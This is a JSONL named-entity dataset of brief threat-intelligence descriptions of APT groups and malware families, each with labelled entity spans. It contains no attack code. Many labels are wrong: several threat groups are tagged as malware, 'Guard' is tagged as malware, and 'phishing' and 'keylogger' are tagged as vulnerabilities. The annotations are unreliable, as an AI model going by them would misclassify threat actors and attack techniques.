+{"text": "Molerats is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.", "spans": {"THREAT_ACTOR: Molerats": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Molerats"}}
+{"text": "Velvet Ant is a threat actor operating since at least 2021. Velvet Ant is associated with complex persistence mechanisms, the targeting of network devices and appliances during operations, and the use of zero day exploits.", "spans": {"MALWARE: Velvet Ant": [[0, 10], [60, 70]], "VULNERABILITY: zero day": [[204, 212]]}, "info": {"source": "apt_reports", "name": "Velvet Ant"}}
+{"text": "Transparent Tribe is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.", "spans": {"MALWARE: Transparent Tribe": [[0, 17]]}, "info": {"source": "apt_reports", "name": "Transparent Tribe"}}
+{"text": "IndigoZebra is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.", "spans": {"THREAT_ACTOR: IndigoZebra": [[0, 11]]}, "info": {"source": "apt_reports", "name": "IndigoZebra"}}
+{"text": "Moonstone Sleet is a North Korean-linked threat actor executing both financially motivated attacks and espionage operations. The group previously overlapped significantly with another North Korean-linked entity, Lazarus Group, but has differentiated its tradecraft since 2023. Moonstone Sleet is notable for creating fake companies and personas to interact with victim entities, as well as developing unique malware such as a variant delivered via a fully functioning game.", "spans": {"MALWARE: Moonstone Sleet": [[0, 15], [277, 292]], "THREAT_ACTOR: Lazarus Group": [[212, 225]]}, "info": {"source": "apt_reports", "name": "Moonstone Sleet"}}
+{"text": "Inception is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.", "spans": {"MALWARE: Inception": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Inception"}}
+{"text": "Honeybee is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018.", "spans": {"THREAT_ACTOR: Honeybee": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Honeybee"}}
+{"text": "Play is a ransomware group that has been active since at least 2022 deploying  Playcrypt ransomware against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. Play actors employ a double-extortion model, encrypting systems after exfiltrating data, and are presumed by security researchers to operate as a closed group.", "spans": {"MALWARE: Play": [[0, 4], [234, 238]], "MALWARE: Playcrypt": [[79, 88]]}, "info": {"source": "apt_reports", "name": "Play"}}
+{"text": "PROMETHIUM is an activity group focused on espionage that has been active since at least 2012. The group has conducted operations globally with a heavy emphasis on Turkish targets. PROMETHIUM has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics.", "spans": {"THREAT_ACTOR: NEODYMIUM": [[253, 262]], "THREAT_ACTOR: PROMETHIUM": [[0, 10], [181, 191]]}, "info": {"source": "apt_reports", "name": "PROMETHIUM"}}
+{"text": "APT30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.", "spans": {"THREAT_ACTOR: APT30": [[0, 5], [126, 131]], "THREAT_ACTOR: Naikon": [[86, 92]]}, "info": {"source": "apt_reports", "name": "APT30"}}
+{"text": "HEXANE is a cyber espionage threat group that has targeted oil & gas, telecommunications, aviation, and internet service provider organizations since at least 2017. Targeted companies have been located in the Middle East and Africa, including Israel, Saudi Arabia, Kuwait, Morocco, and Tunisia. HEXANE's TTPs appear similar to APT33 and OilRig but due to differences in victims and tools it is tracked as a separate entity.", "spans": {"MALWARE: HEXANE": [[0, 6], [295, 301]], "THREAT_ACTOR: APT33": [[327, 332]], "THREAT_ACTOR: OilRig": [[337, 343]]}, "info": {"source": "apt_reports", "name": "HEXANE"}}
+{"text": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee.  It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.", "spans": {"THREAT_ACTOR: DragonOK": [[0, 8], [147, 155]], "VULNERABILITY: phishing": [[73, 81]], "MALWARE: PoisonIvy": [[318, 327]], "MALWARE: Moafee": [[231, 237]], "MALWARE: PlugX": [[311, 316]]}, "info": {"source": "apt_reports", "name": "DragonOK"}}
+{"text": "Daggerfly is a People's Republic of China-linked APT entity active since at least 2012. Daggerfly has targeted individuals, government and NGO entities, and telecommunication companies in Asia and Africa. Daggerfly is associated with exclusive use of MgBot malware and is noted for several potential supply chain infection campaigns.", "spans": {"MALWARE: Daggerfly": [[0, 9], [88, 97], [205, 214]], "MALWARE: MgBot": [[251, 256]]}, "info": {"source": "apt_reports", "name": "Daggerfly"}}
+{"text": "Rancor is a threat group that has led targeted campaigns against the South East Asia region. Rancor uses politically-motivated lures to entice victims to open malicious documents.", "spans": {"MALWARE: Rancor": [[0, 6], [93, 99]]}, "info": {"source": "apt_reports", "name": "Rancor"}}
+{"text": "WIRTE is a threat group that has been active since at least August 2018. WIRTE has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.", "spans": {"THREAT_ACTOR: WIRTE": [[0, 5], [73, 78]]}, "info": {"source": "apt_reports", "name": "WIRTE"}}
+{"text": "PLATINUM is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia.", "spans": {"THREAT_ACTOR: PLATINUM": [[0, 8]]}, "info": {"source": "apt_reports", "name": "PLATINUM"}}
+{"text": "Magic Hound is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted European, U.S., and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.", "spans": {"MALWARE: Magic Hound": [[0, 11]], "MALWARE: Guard": [[167, 172]]}, "info": {"source": "apt_reports", "name": "Magic Hound"}}
+{"text": "Ajax Security Team is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 Ajax Security Team transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.", "spans": {"MALWARE: Ajax Security Team": [[0, 18], [121, 139]]}, "info": {"source": "apt_reports", "name": "Ajax Security Team"}}
+{"text": "Threat Group-3390 is a Chinese threat group that has extensively used strategic Web compromises to target victims. The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.", "spans": {"MALWARE: Threat Group-3390": [[0, 17]]}, "info": {"source": "apt_reports", "name": "Threat Group-3390"}}
+{"text": "APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.", "spans": {"THREAT_ACTOR: APT33": [[0, 5]]}, "info": {"source": "apt_reports", "name": "APT33"}}
+{"text": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations.", "spans": {"THREAT_ACTOR: FIN10": [[0, 5]]}, "info": {"source": "apt_reports", "name": "FIN10"}}
+{"text": "FIN8 is a financially motivated threat group that has been active since at least January 2016, and known for targeting organizations in the hospitality, retail, entertainment, insurance, technology, chemical, and financial sectors. In June 2021, security researchers detected FIN8 switching from targeting point-of-sale (POS) devices to distributing a number of ransomware variants.", "spans": {"THREAT_ACTOR: FIN8": [[0, 4], [276, 280]]}, "info": {"source": "apt_reports", "name": "FIN8"}}
+{"text": "FIN13 is a financially motivated cyber threat group that has targeted the financial, retail, and hospitality industries in Mexico and Latin America, as early as 2016. FIN13 achieves its objectives by stealing intellectual property, financial data, mergers and acquisition information, or PII.", "spans": {"THREAT_ACTOR: FIN13": [[0, 5], [167, 172]]}, "info": {"source": "apt_reports", "name": "FIN13"}}
+{"text": "APT19 is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms.  Some analysts track APT19 and Deep Panda as the same group, but it is unclear from open source information if the groups are the same.", "spans": {"THREAT_ACTOR: APT19": [[0, 5], [311, 316]], "VULNERABILITY: phishing": [[221, 229]], "MALWARE: Deep Panda": [[321, 331]]}, "info": {"source": "apt_reports", "name": "APT19"}}
+{"text": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.", "spans": {"MALWARE: PittyTiger": [[0, 10]]}, "info": {"source": "apt_reports", "name": "PittyTiger"}}
+{"text": "Nomadic Octopus is a Russian-speaking cyber espionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. Nomadic Octopus has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.", "spans": {"MALWARE: Nomadic Octopus": [[0, 15], [197, 212]], "SYSTEM: Android": [[262, 269]], "SYSTEM: Windows": [[274, 281]], "MALWARE: Octopus": [[8, 15], [205, 212]]}, "info": {"source": "apt_reports", "name": "Nomadic Octopus"}}
+{"text": "HDoor is malware that has been customized and used by the Naikon group.", "spans": {"MALWARE: HDoor": [[0, 5]], "THREAT_ACTOR: Naikon": [[58, 64]]}, "info": {"source": "apt_reports", "name": "HDoor"}}
+{"text": "TrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to Dyre. TrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.", "spans": {"MALWARE: TrickBot": [[0, 8], [122, 130]], "MALWARE: Dyre": [[116, 120]], "MALWARE: Wizard Spider": [[167, 180]]}, "info": {"source": "apt_reports", "name": "TrickBot"}}
+{"text": "cd00r is an open-source backdoor for UNIX and UNIX-variant operating systems that was orginally released in 2000. cd00r source code is primarily based on a packet-capturing program as it utilizes a sniffer to listen for specific sequences of network traffic or \"secret knock\" before executing the attacker's code.", "spans": {"MALWARE: cd00r": [[0, 5], [114, 119]]}, "info": {"source": "apt_reports", "name": "cd00r"}}
+{"text": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros.", "spans": {"MALWARE: PowerDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[41, 46]], "SYSTEM: Microsoft Word": [[96, 110]], "ORGANIZATION: Microsoft": [[96, 105]]}, "info": {"source": "apt_reports", "name": "PowerDuke"}}
+{"text": "EKANS is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. EKANS has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in MegaCortex.", "spans": {"MALWARE: EKANS": [[0, 5], [260, 265]], "MALWARE: MegaCortex": [[444, 454]]}, "info": {"source": "apt_reports", "name": "EKANS"}}
+{"text": "BLINDINGCAN is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.", "spans": {"MALWARE: BLINDINGCAN": [[0, 11]]}, "info": {"source": "apt_reports", "name": "BLINDINGCAN"}}
+{"text": "Ninja is a malware developed in C++ that has been used by ToddyCat to penetrate networks and control remote systems since at least 2020.  Ninja is possibly part of a post exploitation toolkit exclusively used by ToddyCat and allows multiple operators to work simultaneously on the same machine. Ninja has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by Samurai.", "spans": {"MALWARE: Ninja": [[0, 5], [138, 143], [295, 300]], "THREAT_ACTOR: ToddyCat": [[58, 66], [212, 220]], "MALWARE: Samurai": [[435, 442]]}, "info": {"source": "apt_reports", "name": "Ninja"}}
+{"text": "Pikabot is a backdoor used for initial access and follow-on tool deployment active since early 2023. Pikabot is notable for extensive use of multiple encoding, encryption, and defense evasion mechanisms to evade defenses and avoid analysis. Pikabot has some overlaps with QakBot, but insufficient evidence exists to definitively link these two malware families. Pikabot is frequently used to deploy follow on tools such as Cobalt Strike or ransomware variants.", "spans": {"MALWARE: Pikabot": [[0, 7], [101, 108], [241, 248], [362, 369]], "THREAT_ACTOR: Cobalt": [[423, 429]], "TOOL: Cobalt Strike": [[423, 436]], "MALWARE: QakBot": [[272, 278]]}, "info": {"source": "apt_reports", "name": "Pikabot"}}
+{"text": "Wiarp is a trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Wiarp": [[0, 5]], "MALWARE: Elderwood": [[26, 35]]}, "info": {"source": "apt_reports", "name": "Wiarp"}}
+{"text": "RCSession is a backdoor written in C++ that has been in use since at least 2018 by Mustang Panda and by Threat Group-3390 (Type II Backdoor).", "spans": {"MALWARE: RCSession": [[0, 9]], "THREAT_ACTOR: Mustang Panda": [[83, 96]], "MALWARE: Threat Group-3390": [[104, 121]]}, "info": {"source": "apt_reports", "name": "RCSession"}}
+{"text": "Spark is a Windows backdoor and has been in use since as early as 2017.", "spans": {"MALWARE: Spark": [[0, 5]], "SYSTEM: Windows": [[11, 18]]}, "info": {"source": "apt_reports", "name": "Spark"}}
+{"text": "QuietSieve is an information stealer that has been used by Gamaredon Group since at least 2021.", "spans": {"MALWARE: QuietSieve": [[0, 10]], "THREAT_ACTOR: Gamaredon Group": [[59, 74]]}, "info": {"source": "apt_reports", "name": "QuietSieve"}}
+{"text": "SynAck is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017.", "spans": {"MALWARE: SynAck": [[0, 6]]}, "info": {"source": "apt_reports", "name": "SynAck"}}
+{"text": "Bumblebee is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. Bumblebee has been linked to ransomware operations including Conti, Quantum, and Mountlocker and derived its name from the appearance of \"bumblebee\" in the user-agent.", "spans": {"MALWARE: Bumblebee": [[0, 9], [204, 213]], "MALWARE: Conti": [[265, 270]]}, "info": {"source": "apt_reports", "name": "Bumblebee"}}
+{"text": "MURKYTOP is a reconnaissance tool used by Leviathan.", "spans": {"MALWARE: MURKYTOP": [[0, 8]], "THREAT_ACTOR: Leviathan": [[42, 51]]}, "info": {"source": "apt_reports", "name": "MURKYTOP"}}
+{"text": "AcidRain is an ELF binary targeting modems and routers using MIPS architecture. AcidRain is associated with the ViaSat KA-SAT communication outage that took place during the initial phases of the 2022 full-scale invasion of Ukraine. Analysis indicates overlap with another network device-targeting malware, VPNFilter, associated with Sandworm Team. US and European government sources linked AcidRain to Russian government entities, while Ukrainian government sources linked AcidRain specifically to Sandworm Team.", "spans": {"MALWARE: AcidRain": [[0, 8], [80, 88], [391, 399], [474, 482]], "THREAT_ACTOR: Sandworm": [[334, 342], [499, 507]], "MALWARE: Sandworm Team": [[334, 347], [499, 512]], "MALWARE: VPNFilter": [[307, 316]]}, "info": {"source": "apt_reports", "name": "AcidRain"}}
+{"text": "GRIFFON is a JavaScript backdoor used by FIN7.", "spans": {"MALWARE: GRIFFON": [[0, 7]], "THREAT_ACTOR: FIN7": [[41, 45]]}, "info": {"source": "apt_reports", "name": "GRIFFON"}}
+{"text": "Exaramel for Windows is a backdoor used for targeting Windows systems. The Linux version is tracked separately under Exaramel for Linux.", "spans": {"MALWARE: Exaramel for Windows": [[0, 20]], "SYSTEM: Windows": [[13, 20], [54, 61]], "SYSTEM: Linux": [[75, 80], [130, 135]], "MALWARE: Exaramel for Linux": [[117, 135]]}, "info": {"source": "apt_reports", "name": "Exaramel for Windows"}}
+{"text": "Amadey is a Trojan bot that has been used since at least October 2018.", "spans": {"MALWARE: Amadey": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Amadey"}}
+{"text": "JumbledPath is a custom-built utility written in GO that has been used by Salt Typhoon since at least 2024 for packet capture on remote Cisco devices. JumbledPath is compiled as an ELF binary using x86-64 architecture which makes it potentially useable across Linux operating systems and network devices from multiple vendors.", "spans": {"MALWARE: JumbledPath": [[0, 11], [151, 162]], "SYSTEM: Cisco": [[136, 141]], "SYSTEM: Linux": [[260, 265]], "MALWARE: Salt Typhoon": [[74, 86]]}, "info": {"source": "apt_reports", "name": "JumbledPath"}}
+{"text": "RDFSNIFFER is a module loaded by BOOSTWRITE which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.", "spans": {"MALWARE: RDFSNIFFER": [[0, 10]], "MALWARE: BOOSTWRITE": [[33, 43]]}, "info": {"source": "apt_reports", "name": "RDFSNIFFER"}}
+{"text": "NICECURL is a VBScript-based backdoor used by APT42 to download additional modules.", "spans": {"MALWARE: NICECURL": [[0, 8]], "THREAT_ACTOR: APT42": [[46, 51]]}, "info": {"source": "apt_reports", "name": "NICECURL"}}
+{"text": "Proxysvc is a malicious DLL used by Lazarus Group in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of Proxysvc is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process.", "spans": {"MALWARE: Proxysvc": [[0, 8], [221, 229]], "THREAT_ACTOR: Lazarus Group": [[36, 49]]}, "info": {"source": "apt_reports", "name": "Proxysvc"}}
+{"text": "Orz is a custom JavaScript backdoor used by Leviathan. It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files.", "spans": {"MALWARE: Orz": [[0, 3]], "THREAT_ACTOR: Leviathan": [[44, 53]], "ORGANIZATION: Microsoft": [[139, 148]]}, "info": {"source": "apt_reports", "name": "Orz"}}
+{"text": "Torisma is a second stage implant designed for specialized monitoring that has been used by Lazarus Group. Torisma was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.", "spans": {"MALWARE: Torisma": [[0, 7], [107, 114]], "THREAT_ACTOR: Lazarus Group": [[92, 105]]}, "info": {"source": "apt_reports", "name": "Torisma"}}
+{"text": "NOKKI is a modular remote access tool. The earliest observed attack using NOKKI was in January 2018. NOKKI has significant code overlap with the KONNI malware family. There is some evidence potentially linking NOKKI to APT37.", "spans": {"MALWARE: NOKKI": [[0, 5], [74, 79], [101, 106], [210, 215]], "THREAT_ACTOR: APT37": [[219, 224]], "MALWARE: KONNI": [[145, 150]]}, "info": {"source": "apt_reports", "name": "NOKKI"}}
+{"text": "yty is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages.", "spans": {"MALWARE: yty": [[0, 3]]}, "info": {"source": "apt_reports", "name": "yty"}}
+{"text": "Backdoor.Oldrea is a modular backdoor that used by Dragonfly against energy companies since at least 2013. Backdoor.Oldrea was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.", "spans": {"MALWARE: Backdoor.Oldrea": [[0, 15], [107, 122]], "VULNERABILITY: supply chain compromise": [[143, 166]], "MALWARE: Dragonfly": [[51, 60]]}, "info": {"source": "apt_reports", "name": "Backdoor.Oldrea"}}
+{"text": "DOGCALL is a backdoor used by APT37 that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit.", "spans": {"MALWARE: DOGCALL": [[0, 7]], "THREAT_ACTOR: APT37": [[30, 35]]}, "info": {"source": "apt_reports", "name": "DOGCALL"}}
+{"text": "Stuxnet was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines. Stuxnet was discovered in 2010, with some components being used as early as November 2008.", "spans": {"MALWARE: Stuxnet": [[0, 7], [116, 123], [317, 324]], "SYSTEM: Windows": [[268, 275]], "VULNERABILITY: zero-day": [[226, 234]], "VULNERABILITY: rootkit": [[276, 283]]}, "info": {"source": "apt_reports", "name": "Stuxnet"}}
+{"text": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015.", "spans": {"MALWARE: Downdelph": [[0, 9]], "THREAT_ACTOR: APT28": [[78, 83]]}, "info": {"source": "apt_reports", "name": "Downdelph"}}
+{"text": "RotaJakiro is a 64-bit Linux backdoor used by APT32. First seen in 2018, it uses a plugin architecture to extend capabilities. RotaJakiro can determine it's permission level and execute according to access type (`root` or `user`).", "spans": {"MALWARE: RotaJakiro": [[0, 10], [127, 137]], "THREAT_ACTOR: APT32": [[46, 51]], "SYSTEM: Linux": [[23, 28]]}, "info": {"source": "apt_reports", "name": "RotaJakiro"}}
+{"text": "AvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.", "spans": {"MALWARE: AvosLocker": [[0, 10], [318, 328]]}, "info": {"source": "apt_reports", "name": "AvosLocker"}}
+{"text": "SEASHARPEE is a Web shell that has been used by OilRig.", "spans": {"MALWARE: SEASHARPEE": [[0, 10]], "THREAT_ACTOR: OilRig": [[48, 54]]}, "info": {"source": "apt_reports", "name": "SEASHARPEE"}}
+{"text": "Get2 is a downloader written in C++ that has been used by TA505 to deliver FlawedGrace, FlawedAmmyy, Snatch and SDBbot.", "spans": {"MALWARE: Get2": [[0, 4]], "THREAT_ACTOR: TA505": [[58, 63]], "MALWARE: Snatch": [[101, 107]], "MALWARE: FlawedGrace": [[75, 86]], "MALWARE: SDBbot": [[112, 118]], "MALWARE: FlawedAmmyy": [[88, 99]]}, "info": {"source": "apt_reports", "name": "Get2"}}
+{"text": "POWRUNER is a PowerShell script that sends and receives commands to and from the C2 server.", "spans": {"MALWARE: POWRUNER": [[0, 8]], "TOOL: PowerShell": [[14, 24]]}, "info": {"source": "apt_reports", "name": "POWRUNER"}}
+{"text": "KOPILUWAK is a JavaScript-based reconnaissance tool that has been used for victim profiling and C2 since at least 2017.", "spans": {"MALWARE: KOPILUWAK": [[0, 9]]}, "info": {"source": "apt_reports", "name": "KOPILUWAK"}}
+{"text": "RobbinHood is ransomware that was first observed being used in an attack against the Baltimore city government's computer network.", "spans": {"MALWARE: RobbinHood": [[0, 10]]}, "info": {"source": "apt_reports", "name": "RobbinHood"}}
+{"text": "MEDUSA is an open-source rootkit that is capable of dynamic linker hijacking, command execution, and logging credentials.", "spans": {"MALWARE: MEDUSA": [[0, 6]], "VULNERABILITY: rootkit": [[25, 32]]}, "info": {"source": "apt_reports", "name": "MEDUSA"}}
+{"text": "VersaMem is a web shell designed for deployment to Versa Director servers following exploitation. Discovered in August 2024, VersaMem was used during Versa Director Zero Day Exploitation by Volt Typhoon to target ISPs and MSPs.  VersaMem is deployed as a Java Archive (JAR) and allows for credential capture for Versa Director logon activity as well as follow-on execution of arbitrary Java payloads.", "spans": {"MALWARE: VersaMem": [[0, 8], [125, 133], [229, 237]], "THREAT_ACTOR: Versa Director Zero Day Exploitation": [[150, 186]], "THREAT_ACTOR: Volt Typhoon": [[190, 202]], "SYSTEM: Java": [[255, 259], [386, 390]]}, "info": {"source": "apt_reports", "name": "VersaMem"}}
+{"text": "Power Loader is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz.", "spans": {"MALWARE: Power Loader": [[0, 12]], "MALWARE: Carberp": [[108, 115]]}, "info": {"source": "apt_reports", "name": "Power Loader"}}
+{"text": "TDTESS is a 64-bit .NET binary backdoor used by CopyKittens.", "spans": {"MALWARE: TDTESS": [[0, 6]], "THREAT_ACTOR: CopyKittens": [[48, 59]], "SYSTEM: .NET": [[19, 23]]}, "info": {"source": "apt_reports", "name": "TDTESS"}}
+{"text": "Chinoxy is a backdoor that has been used since at least November 2018, during the FunnyDream campaign, to gain persistence and drop additional payloads. According to security researchers, Chinoxy has been used by Chinese-speaking threat actors.", "spans": {"MALWARE: Chinoxy": [[0, 7], [188, 195]], "THREAT_ACTOR: FunnyDream": [[82, 92]]}, "info": {"source": "apt_reports", "name": "Chinoxy"}}
+{"text": "SharpStage is a .NET malware with backdoor capabilities.", "spans": {"MALWARE: SharpStage": [[0, 10]], "SYSTEM: .NET": [[16, 20]]}, "info": {"source": "apt_reports", "name": "SharpStage"}}
+{"text": "PAKLOG is a keylogger known to be leveraged by Mustang Panda and was first observed utilized in 2024. PAKLOG is deployed via a RAR archive (e.g., key.rar), which contains two files: a signed, legitimate binary (PACLOUD.exe) and the malicious PAKLOG DLL (pa_lang2.dll). The PACLOUD.exe binary is used to side-load the PAKLOG DLL which starts with the keylogger functionality.", "spans": {"MALWARE: PAKLOG": [[0, 6], [102, 108], [242, 248], [317, 323]], "THREAT_ACTOR: Mustang Panda": [[47, 60]], "TOOL: RAR": [[127, 130]], "VULNERABILITY: keylogger": [[12, 21], [350, 359]]}, "info": {"source": "apt_reports", "name": "PAKLOG"}}
+{"text": "COATHANGER is a remote access tool (RAT) targeting FortiGate networking appliances. First used in 2023 in targeted intrusions against military and government entities in the Netherlands along with other victims, COATHANGER was disclosed in early 2024, with a high confidence assessment linking this malware to a state-sponsored entity in the People's Republic of China. COATHANGER is delivered after gaining access to a FortiGate device, with in-the-wild observations linked to exploitation of CVE-2022-42475. The name COATHANGER is based on a unique string in the malware used to encrypt configuration files on disk: <code>“She took his coat and hung it up”</code>.", "spans": {"CVE_ID: CVE-2022-42475": [[494, 508]], "MALWARE: COATHANGER": [[0, 10], [212, 222], [370, 380], [519, 529]], "SYSTEM: FortiGate": [[51, 60], [420, 429]]}, "info": {"source": "apt_reports", "name": "COATHANGER"}}
+{"text": "Sardonic is a backdoor written in C and C++ that is known to be used by FIN8, as early as August 2021 to target a financial institution in the United States. Sardonic has a plugin system that can load specially made DLLs and execute their functions.", "spans": {"MALWARE: Sardonic": [[0, 8], [158, 166]], "THREAT_ACTOR: FIN8": [[72, 76]]}, "info": {"source": "apt_reports", "name": "Sardonic"}}
+{"text": "Smoke Loader is a malicious bot application that can be used to load other malware.\nSmoke Loader has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. It also comes with several plug-ins.", "spans": {"MALWARE: Smoke Loader": [[0, 12], [84, 96]], "MALWARE: Smoke": [[0, 5], [84, 89]]}, "info": {"source": "apt_reports", "name": "Smoke Loader"}}
+{"text": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks.", "spans": {"MALWARE: HALFBAKED": [[0, 9]]}, "info": {"source": "apt_reports", "name": "HALFBAKED"}}
+{"text": "WindTail is a macOS surveillance implant used by Windshift. WindTail shares code similarities with Hack Back aka KitM OSX.", "spans": {"MALWARE: WindTail": [[0, 8], [60, 68]], "SYSTEM: macOS": [[14, 19]], "MALWARE: Windshift": [[49, 58]]}, "info": {"source": "apt_reports", "name": "WindTail"}}
+{"text": "Misdat is a backdoor that was used in Operation Dust Storm from 2010 to 2011.", "spans": {"MALWARE: Misdat": [[0, 6]], "THREAT_ACTOR: Dust Storm": [[48, 58]], "THREAT_ACTOR: Operation Dust Storm": [[38, 58]]}, "info": {"source": "apt_reports", "name": "Misdat"}}
+{"text": "reGeorg is an open-source web shell written in Python that can be used as a proxy to bypass firewall rules and tunnel data in and out of targeted networks.", "spans": {"MALWARE: reGeorg": [[0, 7]], "SYSTEM: Python": [[47, 53]]}, "info": {"source": "apt_reports", "name": "reGeorg"}}
+{"text": "FLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims.", "spans": {"MALWARE: FLIPSIDE": [[0, 8]], "THREAT_ACTOR: FIN5": [[59, 63]], "TOOL: Plink": [[37, 42]]}, "info": {"source": "apt_reports", "name": "FLIPSIDE"}}
+{"text": "Linux Rabbit is malware that targeted Linux servers and IoT devices in a campaign lasting from August to October 2018. It shares code with another strain of malware known as Rabbot. The goal of the campaign was to install cryptocurrency miners onto the targeted servers and devices.", "spans": {"MALWARE: Linux Rabbit": [[0, 12]], "SYSTEM: Linux": [[0, 5], [38, 43]]}, "info": {"source": "apt_reports", "name": "Linux Rabbit"}}
+{"text": "adbupd is a backdoor used by PLATINUM that is similar to Dipsind.", "spans": {"MALWARE: adbupd": [[0, 6]], "THREAT_ACTOR: PLATINUM": [[29, 37]], "MALWARE: Dipsind": [[57, 64]]}, "info": {"source": "apt_reports", "name": "adbupd"}}
+{"text": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio.", "spans": {"MALWARE: Emissary": [[0, 8]], "MALWARE: Elise": [[78, 83]], "MALWARE: Lotus": [[43, 48]], "MALWARE: Lotus Blossom": [[43, 56]]}, "info": {"source": "apt_reports", "name": "Emissary"}}
+{"text": "Exaramel for Linux is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under Exaramel for Windows.", "spans": {"MALWARE: Exaramel for Linux": [[0, 18]], "SYSTEM: Windows": [[113, 120], [170, 177]], "SYSTEM: Linux": [[13, 18]], "SYSTEM: Go": [[48, 50]], "MALWARE: Exaramel for Windows": [[157, 177]]}, "info": {"source": "apt_reports", "name": "Exaramel for Linux"}}
+{"text": "KEYMARBLE is a Trojan that has reportedly been used by the North Korean government.", "spans": {"MALWARE: KEYMARBLE": [[0, 9]]}, "info": {"source": "apt_reports", "name": "KEYMARBLE"}}
+{"text": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities.", "spans": {"MALWARE: BUBBLEWRAP": [[0, 10]], "MALWARE: admin@338": [[65, 74]]}, "info": {"source": "apt_reports", "name": "BUBBLEWRAP"}}
+{"text": "HAWKBALL is a backdoor that was observed in targeting of the government sector in Central Asia.", "spans": {"MALWARE: HAWKBALL": [[0, 8]]}, "info": {"source": "apt_reports", "name": "HAWKBALL"}}
